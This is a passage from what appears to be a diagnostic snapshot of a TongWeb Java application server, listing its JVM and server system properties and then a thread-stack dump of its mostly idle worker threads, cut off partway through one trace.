${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/,${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/ +tongweb.built: 2019.01.22 +tongweb.home: /opt/tweb6 +java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/tweb6 +ibm.stream.nio: true +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler +openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory +openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory +tongweb.java: /opt/java/openjdk +openejb.offline: false +java.version: 1.8.0_492 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: false +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +tongweb.upload: /opt/tweb6/temp/upload +java.endorsed.dirs: /opt/tweb6/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper. +file.separator: / +java.specification.name: Java Platform API Specification +tongweb.snapshotinhour: 5 +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk/jre +java.vm.info: mixed mode +os.version: 6.8.0-111-generic +openejb.embedder.source: ThorServerListener +sun.font.fontmanager: sun.awt.X11FontManager +tongweb.sysapp: /opt/tweb6/applications +path.separator: : +java.vm.version: 25.492-b09 +openejb.configurator: com.tongweb.tongejb.config.ThorConfigurationFactory +tongweb.util.scan.DefaultJarScanner.jarsToSkip: openejb-rest,openwebbeans-,httpcore-,ant-launcher.jar,rmock-,ecj-,xml-apis-,shrinkwrap-,mlibwrapper_jai.jar,arquillian-core-api-,lucene-analyzers-,quartz-,slf4j,myfaces-api,webbeans-ejb,jhall.jar,openejb-jpa-integration,commons-logging-api-,jmx.jar,jsp-api,org.osgi.core-,arquillian-test-spi,jboss-,hibernate,org.eclipse.,ant-junit,pax-,xalan-,commons-codec,jta,idb-,openejb-cxf-transport,wss4j-,commons-io-,cglib-,xmlschema-,gragent.jar,xercesImpl-,hamcrest-,swizzle-,commons-cli-,XmlSchema-,opensaml-,access-bridge-64.jar,servlet-api-,activation-,javaws.jar,commons-math,activemq-,xml-resolver-,commons-logging-,woodstox-core-asl-,sunjce_provider.jar,howl-,jmx-tools.jar,xmlsec-,cssparser-,openejb-derby,jsr299-,arquillian-common,eclipselink-,jstl.jar,htmlunit-,saaj-,surefire-,guice-,serp-,openejb-cxf-bundle,aether-,groovy-,wagon-,commons-daemon.jar,avalon-framework-,openejb-openwebbeans,sisu-inject,jsp-api.jar,jcommander-,openejb-jstl,hawtjni-runtime,commons-fileupload,CoreAudio.jar,aspectj,jettison-,h2,jasypt-,sac-,commons-httpclient-,arquillian-test-impl-base,arquillian-config-,sunmscapi.jar,arquillian-core-spi-,stax-api-,pulse-java.jar,sshd-,openejb-core,jai_codec.jar,log4j,j3dcore.jar,ziplock-,log4j-,openejb-ejbd,hawtbuf-,commons-codec-,zipfs.jar,openws-,oro-,testng-,jaccess.jar,idea_rt.jar,jmdns-,arquillian-tomee-,mbean-annotation-api-,ant.jar,httpclient,bval-core,commons-lang3-,j3dutils.jar,commons-digester-,jai_core.jar,openjpa-,commons-lang,geronimo-spec-jaxrpc,sisu-guice,catalina-,commons-dbcp-all-1.3-,bval-jsr,jbossjts-,j3daudio.jar,openejb-api,jbossall-,commons-pool,axis-,gnome-java-bridge.jar,openejb-loader,bootstrap.jar,juli-,xercesImpl.jar,leveldb,tongweb-collections,servlet-api.jar,activeio-,bcprov-,jsr311-,logkit-,commons-pool-,ApacheJMeter,httpclient-,myfaces-impl,dom4j-,commons-net-,aopalliance-,arquillian-junit-,google-,jansi-,joda-time-,dns_sd.jar,hawtdispatch-,javaee-api,jline,xbean-,sunec.jar,velocity-,jbosssx-,lucene-core-,openejb-webservices,derbynet-,icu4j-,commons-beanutils,arquillian-container-,derby-,xmlrpc-,apple_provider.jar,xml-apis.jar,vecmath.jar,jbosscx-,webbeans-ee,openejb-javaagent,hsqldb-,junit-,localedata.jar,openejb-jsf,mail,org.junit.,jsoup-,el-api.jar,tongweb-collections-,commons-dbcp,maven-,ops4j-,plexus-,commons-io,wsdl4j,mina-,MRJToolkit.jar,cxf-,mimepull-,jersey-,commons-discovery-,commons-logging,ldapsec.jar,jaxp-,webbeans-spi,AppleScriptEngine.jar,derbyclient-,wsdl4j-,tools.jar,openejb-hsql,jetty-,openejb-server,snappy-java-,openejb-cxf,javaee-,openejb-jee,jasper-el.jar,hibernate-,arquillian-core-impl-base,scannotation-,nekohtml-,slf4j-,c3p0-,commons-digester,openejb-cxf-rs,openejb-provisionning,jasper.jar,commons-lang-,javassist-,arquillian-test-api,openejb-http,serializer-,junit.jar,axis2-,dnsns.jar,mqtt-client-,xmlParserAPIs.jar,openejb-client,commons-httpclient,kahadb-,antlr-,deploy.jar,neethi-,jackson-mapper-asl-,webbeans-impl,annotations-api.jar,jaxb-,sunpkcs11.jar,xmlunit-,fusemq-leveldb-,wstx-asl-,geronimo-,gson,xmltooling- +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/tweb6/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +tongweb.base: /opt/tweb6 +package.definition: sun.,java.,com.tongweb.web.thor.,com.tongweb.web.oro.,com.tongweb.web.webutil.,com.tongweb.web.jasper. +TW_ORGINAL_SECURITY_LOGIN_CONFIG: /opt/tweb6/conf/security/login.config +tongweb.app: /opt/tweb6/deployment +java.naming.factory.url.pkgs: com.tongweb.web.naming.tongweb:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb6 +java.security.egd: file:/dev/./urandom +user.home: /root +java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +openejb.version: 1.0.0 +java.specification.vendor: Oracle Corporation +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +common.loader: ${tongweb.base}/lib,${tongweb.base}/lib/*.jar,${tongweb.base}/lib,${tongweb.base}/lib/*.jar +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb6/lib/launcher.jar:/opt/tweb6/lib/tongejb-javaagent.jar +com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb6/temp +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +switchCharacterEncoding: false +server.loader: +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb6 +tongweb.poseidon.master.home: /opt/tweb6/applications/heimdall/ +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +java.security.auth.login.config: /opt/tweb6/conf/security/login.config +tongweb.version: 6.1.5.8 +openejb.base: /opt/tweb6 +isServerMode: true +openejb.jsf.skip: false +file.encoding: UTF-8 +com.tongweb.web.thor.startup.TldConfig.jarsToSkip: +noBanner: true +java.specification.version: 1.8 +master.path: /opt/tweb6 + +=========================================== + +ThreadStacks: +"http-nio-8443-exec-6" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +" server-work-8" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-2" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +" server-work-1" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-AsyncTimeout" #118 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-1" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +" server-work-5" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-Acceptor-0" #160 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:869) + at java.lang.Thread.run(Thread.java:750) + +"JDBCLeakCheckTimer" #12 daemon [WAITING] on java.util.TaskQueue@56e33c9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"NioBlockingSelector.BlockPoller-2" #133 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"IntelligentRouterHealthInfoCollector" #100 [TIMED_WAITING] on java.util.TaskQueue@5c635c5e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8080-exec-9" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WebSocketClient-AsyncIO-5" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6a6e5c44 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-5" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-8" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-10" #157 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-1" #43 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-4" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-ClientPoller-0" #130 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-8" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-3" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #103 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@3777c947 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460) + at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) + +"Global transaction Timer" #162 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.tongejb.resource.jdbc.managed.xa.GlobalTransactionServer$1.run(GlobalTransactionServer.java:51) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-9" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:178) + at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767) + at com.tongweb.web.thor.startup.Tomee.start(Unknown Source) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:412) + at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:558) + +"http-nio-8443-exec-8" #155 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.1" #54 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2fe33f91 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at 